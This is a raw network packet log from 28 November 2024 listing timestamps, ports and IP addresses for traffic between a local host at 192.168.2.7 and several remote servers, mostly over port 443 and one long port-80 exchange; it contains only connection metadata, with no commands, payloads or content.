Nov 28, 2024 11:05:37.319590092 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.319782972 CET	49894	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.319814920 CET	443	49894	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.353642941 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.353668928 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.353673935 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.353703976 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.353733063 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.353739977 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.394205093 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.394376993 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.394437075 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.394516945 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.394535065 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.394547939 CET	49878	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.394551992 CET	443	49878	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.397169113 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.397211075 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.397274971 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.397499084 CET	49895	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.397507906 CET	443	49895	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.400435925 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.400435925 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.420356035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.420423985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.420455933 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.420499086 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.420785904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.420825005 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.420914888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.420948982 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.420978069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.421014071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.421932936 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.421982050 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.422090054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.422209024 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.423032045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.423080921 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.423131943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.423224926 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.424081087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.424127102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.424175024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.424209118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.425091982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.425137043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.425192118 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.425245047 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.426147938 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.426191092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.426254988 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.426321983 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.427206039 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.427284002 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.427361012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.427398920 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.428200960 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.428244114 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.428344011 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.428385973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.429255962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.429303885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.429366112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.429409027 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.430284977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.430330992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.430422068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.430471897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.431349993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.431399107 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.431453943 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.431493044 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.432405949 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.432450056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.432511091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.432706118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.433428049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.433490038 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.433542013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.433583021 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.434484005 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.434526920 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.434604883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.434642076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.435545921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.435589075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.435656071 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.435691118 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.436577082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.436614990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.436650991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.436691999 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.437633991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.437706947 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.437750101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.437786102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.438684940 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.438738108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.438935995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.438978910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.439779043 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.439824104 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.439888954 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.439924955 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.440771103 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.440814018 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.440891981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.440934896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.441823959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.441869974 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.441932917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.441970110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.442857027 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.442900896 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.442969084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.443008900 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.443941116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.444053888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.444083929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.444106102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.444979906 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.445024967 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.445069075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.445209026 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.446012974 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.446057081 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.446110964 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.446152925 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.447108030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.447151899 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.447202921 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.447262049 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.448240995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.448290110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.479054928 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.479146957 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.479365110 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.480184078 CET	49882	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.480201006 CET	443	49882	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.482177019 CET	49896	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.482203007 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.482261896 CET	49896	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.482456923 CET	49896	443	192.168.2.7	108.139.47.108
Nov 28, 2024 11:05:37.482475042 CET	443	49896	108.139.47.108	192.168.2.7
Nov 28, 2024 11:05:37.544903994 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.544981956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.545053959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.545346975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.545497894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.545550108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.545593023 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.545629025 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.546555042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.546617985 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.546652079 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.546706915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.547596931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.547646046 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.547688007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.547730923 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.548670053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.548717976 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.548806906 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.548861980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.549741030 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:37.549822092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:37.562586069 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:37.562922955 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:37.562978029 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:37.564091921 CET	49881	443	192.168.2.7	20.110.205.119
Nov 28, 2024 11:05:37.564110994 CET	443	49881	20.110.205.119	192.168.2.7
Nov 28, 2024 11:05:37.643486977 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.643560886 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.643616915 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.643819094 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.643836975 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.643851995 CET	49880	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.643857002 CET	443	49880	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.646579027 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.646630049 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.646713018 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.647048950 CET	49897	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:37.647068024 CET	443	49897	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:37.663640976 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:37.663827896 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:37.664196968 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:37.664455891 CET	49879	443	192.168.2.7	13.89.179.11
Nov 28, 2024 11:05:37.664474010 CET	443	49879	13.89.179.11	192.168.2.7
Nov 28, 2024 11:05:37.665440083 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.665632010 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.665703058 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.666281939 CET	49883	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.666342020 CET	443	49883	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.676110029 CET	49898	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.676147938 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.676218033 CET	49898	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.676412106 CET	49898	443	192.168.2.7	23.101.168.44
Nov 28, 2024 11:05:37.676422119 CET	443	49898	23.101.168.44	192.168.2.7
Nov 28, 2024 11:05:37.706765890 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.706787109 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.706837893 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.706851959 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.707040071 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.707458019 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.707535982 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.707618952 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.726028919 CET	49887	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.726066113 CET	443	49887	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.726795912 CET	49888	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.726814985 CET	443	49888	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.763439894 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.763469934 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.763533115 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.763540983 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.763588905 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.768568039 CET	49889	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.768594027 CET	443	49889	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.771397114 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.771430969 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.771442890 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.771507025 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.771521091 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.771631002 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.779160976 CET	49884	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.779189110 CET	443	49884	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.788331985 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:37.791368008 CET	49890	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:37.791378975 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:37.791776896 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:37.793994904 CET	49890	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:37.794094086 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:37.794250011 CET	49890	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:37.839333057 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:37.845261097 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.845288992 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.845310926 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.845323086 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.845340967 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.845351934 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.845357895 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.845393896 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.845407009 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.845434904 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.897114038 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.897202969 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.897228956 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.897264004 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.897279978 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.897303104 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:37.905395031 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:37.905473948 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.036026955 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.036057949 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.036113024 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.036147118 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.036165953 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.036180019 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.067969084 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.068021059 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.068074942 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.068125010 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.068145990 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.068233967 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.081053019 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.081137896 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.107925892 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.107959032 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.108000040 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.108009100 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.108048916 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.108061075 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.123965979 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.124017954 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.124061108 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.124063969 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.124113083 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.124603033 CET	49885	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.124623060 CET	443	49885	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.179478884 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.188791990 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:38.188813925 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.189624071 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.189924955 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:38.189989090 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.190033913 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:38.230166912 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:38.233793020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:38.233865976 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:38.234728098 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.235331059 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.237518072 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.237580061 CET	49890	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:38.237869024 CET	49890	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:38.237886906 CET	443	49890	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.300214052 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:38.300816059 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:38.300842047 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:38.301297903 CET	49892	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:38.301302910 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:38.353914022 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:38.353940010 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:38.359253883 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.359281063 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.359345913 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.359366894 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.359381914 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.359611988 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.360696077 CET	49886	443	192.168.2.7	104.117.182.59
Nov 28, 2024 11:05:38.360707045 CET	443	49886	104.117.182.59	192.168.2.7
Nov 28, 2024 11:05:38.493587971 CET	49900	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:38.493638992 CET	443	49900	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:38.494072914 CET	49901	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:38.494116068 CET	49900	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:38.494117975 CET	443	49901	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:38.494349003 CET	49901	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:38.494582891 CET	49900	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:38.494595051 CET	443	49900	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:38.494901896 CET	49901	443	192.168.2.7	23.44.201.7
Nov 28, 2024 11:05:38.494929075 CET	443	49901	23.44.201.7	192.168.2.7
Nov 28, 2024 11:05:38.497894049 CET	49902	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:38.497925043 CET	443	49902	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:38.498120070 CET	49902	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:38.498522043 CET	49903	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:38.498538971 CET	443	49903	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:38.498677015 CET	49902	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:38.498699903 CET	443	49902	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:38.498713970 CET	49903	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:38.498866081 CET	49903	443	192.168.2.7	204.79.197.219
Nov 28, 2024 11:05:38.498873949 CET	443	49903	204.79.197.219	192.168.2.7
Nov 28, 2024 11:05:38.624695063 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.624713898 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.624768019 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:38.624797106 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.625833035 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:38.625871897 CET	443	49891	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:38.626039028 CET	49891	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:38.735337019 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:38.735410929 CET	443	49892	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:38.735583067 CET	49892	443	192.168.2.7	13.107.246.63
